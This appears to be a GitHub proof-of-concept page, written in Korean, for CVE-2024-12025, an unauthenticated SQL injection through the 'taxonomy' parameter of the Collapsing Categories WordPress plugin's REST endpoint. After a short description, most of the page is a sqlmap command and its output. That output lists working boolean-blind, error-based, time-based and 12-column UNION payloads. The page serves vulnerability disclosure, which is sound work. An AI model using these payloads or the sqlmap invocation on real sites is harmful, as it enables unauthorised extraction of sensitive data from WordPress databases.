randomrobbiebf/cve-2024-12025Collapsing Categories <= 3.0.8 - 인증되지 않은 SQL Injection
Collapsing Categories <= 3.0.8 - 인증되지 않은 SQL 인젝션
WordPress용 Collapsing Categories 플러그인은 /wp-json/collapsing-categories/v1/get REST API의 'taxonomy' 매개변수를 통해 SQL 인젝션에 취약합니다. 이는 버전 3.0.8까지의 모든 버전에서 사용자가 제공한 매개변수에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 충분한 준비 부족으로 인해 발생합니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
python3 sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-json/collapsing-categories/v1/get?taxonomy=category' --level=3 --risk=3 --dbms='MySQL'
GET parameter 'taxonomy' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: taxonomy (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: taxonomy=category') AND 7946=7946 AND ('HpEV'='HpEV
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: taxonomy=category') AND (SELECT 7250 FROM(SELECT COUNT(*),CONCAT(0x7176707171,(SELECT (ELT(7250=7250,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('hZXr'='hZXr
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: taxonomy=category') AND (SELECT 2450 FROM (SELECT(SLEEP(5)))BSAn) AND ('lfDY'='lfDY
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176707171,0x6e42754559704d7a675861454b4c58444e466968774b4d664161795758694376634a654e68594a58,0x7162706a71)-- -
---
[14:14:52] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)